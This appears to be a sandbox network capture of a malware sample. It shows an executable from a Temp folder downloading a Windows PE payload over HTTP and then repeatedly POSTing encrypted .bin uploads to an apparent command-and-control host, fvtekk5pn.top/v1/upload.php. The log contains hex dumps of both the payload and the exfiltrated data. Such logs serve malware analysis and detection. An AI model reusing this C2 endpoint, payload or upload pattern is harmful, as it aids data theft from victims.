Nov 26, 2024 10:10:54.525682926 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 26 Nov 2024 09:10:54 GMT Content-Type: application/octet-stream Content-Length: 2825216 Last-Modified: Tue, 26 Nov 2024 08:48:00 GMT Connection: keep-alive ETag: "67458b40-2b1c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 2e 6c 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ +.l+`Ui` @ @.rsrc`2@.idata 8@qxymcwvr*:@wyupsyni `+@.taggant@+"*@
Nov 26, 2024 10:10:54.525697947 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 10:10:54.529949903 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 10:10:54.529966116 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 10:10:54.537578106 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 10:10:54.565048933 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 10:10:54.566345930 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 10:10:54.566359997 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 26, 2024 10:10:54.566370964 CET	1236	IN	Data Raw: 90 11 a0 9c c1 0d bd 8a 51 34 0b 30 a7 99 e8 c5 1b dc b8 16 3a 93 b2 3e 09 c0 4d 31 8a 5e 68 c0 ca c8 50 3d 0b 55 d2 fd 5b 4d 68 f0 48 fc a0 3f 13 94 bc 71 00 3a 9b fc 84 d7 f2 6a 04 e2 fd c4 a0 50 89 04 80 01 d2 b4 c6 92 09 2c 82 bb bc b5 23 12 Data Ascii: Q40:>M1^hP=U[MhH?q:jP,#vO<tU3QD8^w&\|)-Er>B]E}HuqX&BG5+hSgz "QE`=)H%V=NS-[N/SFT6sKlLY
Nov 26, 2024 10:10:54.566384077 CET	1236	IN	Data Raw: 28 83 d2 df 33 1a ba 06 c3 51 af 26 db 52 a5 06 54 b3 b9 2a cb b6 a2 5a 26 8f 23 cf 35 12 7e 3c 8b 04 a9 a7 88 07 eb 76 cd 2a be cf 03 2f 72 89 3b ef 90 cf 4d e6 93 2d cf f0 bf 00 b7 9f ae 82 0a b5 ac 35 79 91 40 34 09 b2 8c e7 d4 c3 a5 6b c1 80 Data Ascii: (3Q&RTZ&#5~<v/r;M-5y@4kF~lo3J5]Q!icuXl7e,pM1xrCqO,nxflxs^:t(`Bqd;]pw\5V*5)o}\|3GDeAFp.0GxDJ}q
Nov 26, 2024 10:10:54.645771027 CET	1236	IN	Data Raw: 77 da ab 9d d8 c7 ef 6b 59 7c 32 34 24 ab b0 d8 e3 4c 17 3e 97 40 a9 06 b4 72 fe 3b d0 49 9d ee 69 bd b4 3c 9d 38 2e bd 6f 3a b8 7a d1 d8 7a 06 28 64 db cf eb 51 c4 d9 6e 7a 88 c7 56 58 14 72 6a 1f 5b c0 8b 5a ab ba a8 a5 dd fa 9b ac 18 62 b5 49 Data Ascii: wkY\|24$L>@r;Ii<8.o:zz(dQnzVXrj[ZbI,[}K`+OGVlv6RdcK;kDLY _jq"@{VE z9xPL{jz\Y/'Lccw]Gg"^sxl~Fr?2\|Gtm!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	50091	34.116.198.130	80	8264	C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 10:10:54.024539948 CET	644	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 465 Content-Type: multipart/form-data; boundary=------------------------7gAXDoYAtVUtCGi5bL1Hlo Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 37 67 41 58 44 6f 59 41 74 56 55 74 43 47 69 35 62 4c 31 48 6c 6f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5a 61 6e 61 64 65 62 61 62 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 1c dc 7d 93 31 72 62 b8 b3 ad 04 57 05 7b 62 fb 60 30 c2 41 3a c7 e8 92 0b 6a f8 df 42 35 4e 03 71 e6 5d 3b 83 73 d9 c5 1c 7f b8 df 80 18 4b d9 bb ac 2f bb 42 77 e7 1b 86 e4 fa a8 d5 92 a1 4b 1c 80 b2 7e 42 86 46 e4 16 73 58 c9 05 1e 79 1a a1 c9 95 7d af ad 39 e7 45 6a 03 45 df 3c b4 db 71 ad a3 81 e2 4b 78 90 2b d5 46 f8 fd 48 fb fd ca ef f4 0d 2f 21 1e 9d 8d c9 0a b1 03 e4 1c 10 8d ef a8 f2 e5 6e e3 bf f0 0b fd a2 42 a8 1e 15 97 10 58 46 17 c1 80 8c d9 a5 d6 f4 af 2e 66 30 42 98 ba 2f 42 86 55 0a b9 41 53 76 4b 24 10 [TRUNCATED] Data Ascii: --------------------------7gAXDoYAtVUtCGi5bL1HloContent-Disposition: form-data; name="file"; filename="Zanadebab.bin"Content-Type: application/octet-stream}1rbW{b`0A:jB5Nq];sK/BwK~BFsXy}9EjE<qKx+FH/!nBXF.f0B/BUASvK$GLs/8Q(Y+,t2E8lGDKdwfw>4_J>X;LF--------------------------7gAXDoYAtVUtCGi5bL1Hlo--
Nov 26, 2024 10:10:55.420541048 CET	222	IN	HTTP/1.1 401 Unauthorized server: nginx/1.24.0 (Ubuntu) date: Tue, 26 Nov 2024 09:10:55 GMT content-type: text/html; charset=utf-8 content-length: 0 www-authenticate: Basic etag: W/"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"
Nov 26, 2024 10:10:55.529942036 CET	644	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 465 Content-Type: multipart/form-data; boundary=------------------------7gAXDoYAtVUtCGi5bL1Hlo Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 37 67 41 58 44 6f 59 41 74 56 55 74 43 47 69 35 62 4c 31 48 6c 6f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5a 61 6e 61 64 65 62 61 62 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 1c dc 7d 93 31 72 62 b8 b3 ad 04 57 05 7b 62 fb 60 30 c2 41 3a c7 e8 92 0b 6a f8 df 42 35 4e 03 71 e6 5d 3b 83 73 d9 c5 1c 7f b8 df 80 18 4b d9 bb ac 2f bb 42 77 e7 1b 86 e4 fa a8 d5 92 a1 4b 1c 80 b2 7e 42 86 46 e4 16 73 58 c9 05 1e 79 1a a1 c9 95 7d af ad 39 e7 45 6a 03 45 df 3c b4 db 71 ad a3 81 e2 4b 78 90 2b d5 46 f8 fd 48 fb fd ca ef f4 0d 2f 21 1e 9d 8d c9 0a b1 03 e4 1c 10 8d ef a8 f2 e5 6e e3 bf f0 0b fd a2 42 a8 1e 15 97 10 58 46 17 c1 80 8c d9 a5 d6 f4 af 2e 66 30 42 98 ba 2f 42 86 55 0a b9 41 53 76 4b 24 10 [TRUNCATED] Data Ascii: --------------------------7gAXDoYAtVUtCGi5bL1HloContent-Disposition: form-data; name="file"; filename="Zanadebab.bin"Content-Type: application/octet-stream}1rbW{b`0A:jB5Nq];sK/BwK~BFsXy}9EjE<qKx+FH/!nBXF.f0B/BUASvK$GLs/8Q(Y+,t2E8lGDKdwfw>4_J>X;LF--------------------------7gAXDoYAtVUtCGi5bL1Hlo--
Nov 26, 2024 10:10:56.098387003 CET	222	IN	HTTP/1.1 401 Unauthorized server: nginx/1.24.0 (Ubuntu) date: Tue, 26 Nov 2024 09:10:55 GMT content-type: text/html; charset=utf-8 content-length: 0 www-authenticate: Basic etag: W/"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"
Nov 26, 2024 10:10:56.111468077 CET	644	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 465 Content-Type: multipart/form-data; boundary=------------------------7gAXDoYAtVUtCGi5bL1Hlo Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 37 67 41 58 44 6f 59 41 74 56 55 74 43 47 69 35 62 4c 31 48 6c 6f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5a 61 6e 61 64 65 62 61 62 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 1c dc 7d 93 31 72 62 b8 b3 ad 04 57 05 7b 62 fb 60 30 c2 41 3a c7 e8 92 0b 6a f8 df 42 35 4e 03 71 e6 5d 3b 83 73 d9 c5 1c 7f b8 df 80 18 4b d9 bb ac 2f bb 42 77 e7 1b 86 e4 fa a8 d5 92 a1 4b 1c 80 b2 7e 42 86 46 e4 16 73 58 c9 05 1e 79 1a a1 c9 95 7d af ad 39 e7 45 6a 03 45 df 3c b4 db 71 ad a3 81 e2 4b 78 90 2b d5 46 f8 fd 48 fb fd ca ef f4 0d 2f 21 1e 9d 8d c9 0a b1 03 e4 1c 10 8d ef a8 f2 e5 6e e3 bf f0 0b fd a2 42 a8 1e 15 97 10 58 46 17 c1 80 8c d9 a5 d6 f4 af 2e 66 30 42 98 ba 2f 42 86 55 0a b9 41 53 76 4b 24 10 [TRUNCATED] Data Ascii: --------------------------7gAXDoYAtVUtCGi5bL1HloContent-Disposition: form-data; name="file"; filename="Zanadebab.bin"Content-Type: application/octet-stream}1rbW{b`0A:jB5Nq];sK/BwK~BFsXy}9EjE<qKx+FH/!nBXF.f0B/BUASvK$GLs/8Q(Y+,t2E8lGDKdwfw>4_J>X;LF--------------------------7gAXDoYAtVUtCGi5bL1Hlo--
Nov 26, 2024 10:10:56.595746994 CET	222	IN	HTTP/1.1 401 Unauthorized server: nginx/1.24.0 (Ubuntu) date: Tue, 26 Nov 2024 09:10:56 GMT content-type: text/html; charset=utf-8 content-length: 0 www-authenticate: Basic etag: W/"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"
Nov 26, 2024 10:10:56.611032963 CET	644	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 465 Content-Type: multipart/form-data; boundary=------------------------7gAXDoYAtVUtCGi5bL1Hlo Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 37 67 41 58 44 6f 59 41 74 56 55 74 43 47 69 35 62 4c 31 48 6c 6f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5a 61 6e 61 64 65 62 61 62 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 1c dc 7d 93 31 72 62 b8 b3 ad 04 57 05 7b 62 fb 60 30 c2 41 3a c7 e8 92 0b 6a f8 df 42 35 4e 03 71 e6 5d 3b 83 73 d9 c5 1c 7f b8 df 80 18 4b d9 bb ac 2f bb 42 77 e7 1b 86 e4 fa a8 d5 92 a1 4b 1c 80 b2 7e 42 86 46 e4 16 73 58 c9 05 1e 79 1a a1 c9 95 7d af ad 39 e7 45 6a 03 45 df 3c b4 db 71 ad a3 81 e2 4b 78 90 2b d5 46 f8 fd 48 fb fd ca ef f4 0d 2f 21 1e 9d 8d c9 0a b1 03 e4 1c 10 8d ef a8 f2 e5 6e e3 bf f0 0b fd a2 42 a8 1e 15 97 10 58 46 17 c1 80 8c d9 a5 d6 f4 af 2e 66 30 42 98 ba 2f 42 86 55 0a b9 41 53 76 4b 24 10 [TRUNCATED] Data Ascii: --------------------------7gAXDoYAtVUtCGi5bL1HloContent-Disposition: form-data; name="file"; filename="Zanadebab.bin"Content-Type: application/octet-stream}1rbW{b`0A:jB5Nq];sK/BwK~BFsXy}9EjE<qKx+FH/!nBXF.f0B/BUASvK$GLs/8Q(Y+,t2E8lGDKdwfw>4_J>X;LF--------------------------7gAXDoYAtVUtCGi5bL1Hlo--
Nov 26, 2024 10:10:57.100892067 CET	222	IN	HTTP/1.1 401 Unauthorized server: nginx/1.24.0 (Ubuntu) date: Tue, 26 Nov 2024 09:10:56 GMT content-type: text/html; charset=utf-8 content-length: 0 www-authenticate: Basic etag: W/"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"
Nov 26, 2024 10:10:57.126436949 CET	644	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 465 Content-Type: multipart/form-data; boundary=------------------------7gAXDoYAtVUtCGi5bL1Hlo Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 37 67 41 58 44 6f 59 41 74 56 55 74 43 47 69 35 62 4c 31 48 6c 6f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5a 61 6e 61 64 65 62 61 62 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 1c dc 7d 93 31 72 62 b8 b3 ad 04 57 05 7b 62 fb 60 30 c2 41 3a c7 e8 92 0b 6a f8 df 42 35 4e 03 71 e6 5d 3b 83 73 d9 c5 1c 7f b8 df 80 18 4b d9 bb ac 2f bb 42 77 e7 1b 86 e4 fa a8 d5 92 a1 4b 1c 80 b2 7e 42 86 46 e4 16 73 58 c9 05 1e 79 1a a1 c9 95 7d af ad 39 e7 45 6a 03 45 df 3c b4 db 71 ad a3 81 e2 4b 78 90 2b d5 46 f8 fd 48 fb fd ca ef f4 0d 2f 21 1e 9d 8d c9 0a b1 03 e4 1c 10 8d ef a8 f2 e5 6e e3 bf f0 0b fd a2 42 a8 1e 15 97 10 58 46 17 c1 80 8c d9 a5 d6 f4 af 2e 66 30 42 98 ba 2f 42 86 55 0a b9 41 53 76 4b 24 10 [TRUNCATED] Data Ascii: --------------------------7gAXDoYAtVUtCGi5bL1HloContent-Disposition: form-data; name="file"; filename="Zanadebab.bin"Content-Type: application/octet-stream}1rbW{b`0A:jB5Nq];sK/BwK~BFsXy}9EjE<qKx+FH/!nBXF.f0B/BUASvK$GLs/8Q(Y+,t2E8lGDKdwfw>4_J>X;LF--------------------------7gAXDoYAtVUtCGi5bL1Hlo--
Nov 26, 2024 10:10:57.611699104 CET	222	IN	HTTP/1.1 401 Unauthorized server: nginx/1.24.0 (Ubuntu) date: Tue, 26 Nov 2024 09:10:57 GMT content-type: text/html; charset=utf-8 content-length: 0 www-authenticate: Basic etag: W/"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	50107	34.116.198.130	80	8264	C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 10:10:59.510524988 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 22537 Content-Type: multipart/form-data; boundary=------------------------PmTLZ3HN7WYsDIqRY5kuuT Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 50 6d 54 4c 5a 33 48 4e 37 57 59 73 44 49 71 52 59 35 6b 75 75 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5a 65 68 65 63 65 6e 61 64 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 09 9b 35 00 6c 0a 7c 8d 97 b7 65 8b d8 03 88 2d de ff f6 29 2f 68 2a af ed fd 63 17 5d bf 10 0e e5 3e 7d 2a dc 44 f9 2c 9c 1b ba a1 13 89 48 3f 6d d0 21 b6 f6 cb 1b a0 9c 2e c3 56 30 e8 ad d3 87 85 1b f9 43 2e 4f 56 59 dc 08 26 2e 07 37 31 d8 c0 e2 01 ca a0 f6 8e 81 bc fc d9 c4 e0 27 0d 49 62 d3 63 9d a2 c9 61 23 33 24 47 42 35 66 9f 7b 13 8d a0 b5 c3 70 aa 35 7f 78 e5 a3 60 80 bd 68 c5 3d 13 0f ef 91 01 48 ab 1c 21 83 76 21 e0 b5 bc 57 9a 6c 75 2c 61 91 09 2d e0 05 4a 85 eb ab 8a 62 01 16 53 a4 1a 29 cb dc d9 b7 08 33 [TRUNCATED] Data Ascii: --------------------------PmTLZ3HN7WYsDIqRY5kuuTContent-Disposition: form-data; name="file"; filename="Zehecenad.bin"Content-Type: application/octet-stream5l\|e-)/hc]>}D,H?m!.V0C.OVY&.71'Ibca#3$GB5f{p5x`h=H!v!Wlu,a-JbS)3-}bI&}hp=?p-.a,GikGbxQ`Nlj 8Lb `#K7U=_YO<zk9RUws->W?~_EH}VE,^}$NU=I0e'a?Ic$mY^^vdZ"\Ky-OaW>0.eWWpiQ:U_V"MB:n%[=Kex6\|x$~}o8LY<d]#;jvI@bj6R5r;4]"_ V3!yaI%,!txa"^d_zMHyf"xQ3Z0[_\|FDtIv1v/2AU3cw'6_t%3^G +h--$_Zrb-+Zu?0c(~D\|p}~\|[:hD$aYqS YL.1&24N\+[yw+cUGcr`ZdAT= [TRUNCATED]
Nov 26, 2024 10:10:59.636300087 CET	2472	OUT	Data Raw: f9 ac 96 4a 8e b1 67 5f 1e a9 67 85 c6 72 ec 1f b0 26 53 8d f7 41 1f 5d 03 88 40 69 c4 19 89 7d ff 04 a1 0b b5 37 a2 20 46 a3 24 e1 80 ab a5 40 e6 59 c1 76 78 f2 6f 5e 77 c0 fa 69 61 36 83 97 75 9e a9 0e 95 50 df c4 99 63 32 e3 11 53 fc 85 ca ac Data Ascii: Jg_gr&SA]@i}7 F$@Yvxo^wia6uPc2SjLkJtTO54>@xT%JX:cg e.OP\]0{PMPu+_}t$y[zA'!?*;=%cb-G_
Nov 26, 2024 10:10:59.636611938 CET	7886	OUT	Data Raw: d1 9e a9 9f a9 b4 fb 99 a0 cf 27 aa 8a 17 c6 5f 9b 8f 96 dc b8 c0 26 f6 e7 6f 3f 37 5b 84 4c 9c bd 30 e1 78 a0 7b f9 19 20 06 d4 6a 43 56 6b 82 50 2d cf 10 15 de c6 ac fa fe 9a a8 66 46 5d 43 c5 5a 8b 2b e1 98 5f f7 09 72 5e ea d2 cd 59 76 d6 a3 Data Ascii: '_&o?7[L0x{ jCVkP-fF]CZ+_r^YvXJ%gj[sw1MRY([Z4oG22fFprdNj{K,oYc7}o{f'\j6[_a--5s24;umlX#<)]2m$5V1.Q?\|
Nov 26, 2024 10:11:01.023227930 CET	222	IN	HTTP/1.1 401 Unauthorized server: nginx/1.24.0 (Ubuntu) date: Tue, 26 Nov 2024 09:11:00 GMT content-type: text/html; charset=utf-8 content-length: 0 www-authenticate: Basic etag: W/"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"
Nov 26, 2024 10:11:01.040230036 CET	22718	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 22537 Content-Type: multipart/form-data; boundary=------------------------PmTLZ3HN7WYsDIqRY5kuuT Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 50 6d 54 4c 5a 33 48 4e 37 57 59 73 44 49 71 52 59 35 6b 75 75 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5a 65 68 65 63 65 6e 61 64 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 09 9b 35 00 6c 0a 7c 8d 97 b7 65 8b d8 03 88 2d de ff f6 29 2f 68 2a af ed fd 63 17 5d bf 10 0e e5 3e 7d 2a dc 44 f9 2c 9c 1b ba a1 13 89 48 3f 6d d0 21 b6 f6 cb 1b a0 9c 2e c3 56 30 e8 ad d3 87 85 1b f9 43 2e 4f 56 59 dc 08 26 2e 07 37 31 d8 c0 e2 01 ca a0 f6 8e 81 bc fc d9 c4 e0 27 0d 49 62 d3 63 9d a2 c9 61 23 33 24 47 42 35 66 9f 7b 13 8d a0 b5 c3 70 aa 35 7f 78 e5 a3 60 80 bd 68 c5 3d 13 0f ef 91 01 48 ab 1c 21 83 76 21 e0 b5 bc 57 9a 6c 75 2c 61 91 09 2d e0 05 4a 85 eb ab 8a 62 01 16 53 a4 1a 29 cb dc d9 b7 08 33 [TRUNCATED] Data Ascii: --------------------------PmTLZ3HN7WYsDIqRY5kuuTContent-Disposition: form-data; name="file"; filename="Zehecenad.bin"Content-Type: application/octet-stream5l\|e-)/hc]>}D,H?m!.V0C.OVY&.71'Ibca#3$GB5f{p5x`h=H!v!Wlu,a-JbS)3-}bI&}hp=?p-.a,GikGbxQ`Nlj 8Lb `#K7U=_YO<zk9RUws->W?~_EH}VE,^}$NU=I0e'a?Ic$mY^^vdZ"\Ky-OaW>0.eWWpiQ:U_V"MB:n%[=Kex6\|x$~}o8LY<d]#;jvI@bj6R5r;4]"_ V3!yaI%,!txa"^d_zMHyf"xQ3Z0[_\|FDtIv1v/2AU3cw'6_t%3^G +h--$_Zrb-+Zu?0c(~D\|p}~\|[:hD$aYqS YL.1&24N\+[yw+cUGcr`ZdAT= [TRUNCATED]
Nov 26, 2024 10:11:01.586050034 CET	222	IN	HTTP/1.1 401 Unauthorized server: nginx/1.24.0 (Ubuntu) date: Tue, 26 Nov 2024 09:11:01 GMT content-type: text/html; charset=utf-8 content-length: 0 www-authenticate: Basic etag: W/"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"
Nov 26, 2024 10:11:01.608339071 CET	22718	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 22537 Content-Type: multipart/form-data; boundary=------------------------PmTLZ3HN7WYsDIqRY5kuuT Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 50 6d 54 4c 5a 33 48 4e 37 57 59 73 44 49 71 52 59 35 6b 75 75 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5a 65 68 65 63 65 6e 61 64 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 09 9b 35 00 6c 0a 7c 8d 97 b7 65 8b d8 03 88 2d de ff f6 29 2f 68 2a af ed fd 63 17 5d bf 10 0e e5 3e 7d 2a dc 44 f9 2c 9c 1b ba a1 13 89 48 3f 6d d0 21 b6 f6 cb 1b a0 9c 2e c3 56 30 e8 ad d3 87 85 1b f9 43 2e 4f 56 59 dc 08 26 2e 07 37 31 d8 c0 e2 01 ca a0 f6 8e 81 bc fc d9 c4 e0 27 0d 49 62 d3 63 9d a2 c9 61 23 33 24 47 42 35 66 9f 7b 13 8d a0 b5 c3 70 aa 35 7f 78 e5 a3 60 80 bd 68 c5 3d 13 0f ef 91 01 48 ab 1c 21 83 76 21 e0 b5 bc 57 9a 6c 75 2c 61 91 09 2d e0 05 4a 85 eb ab 8a 62 01 16 53 a4 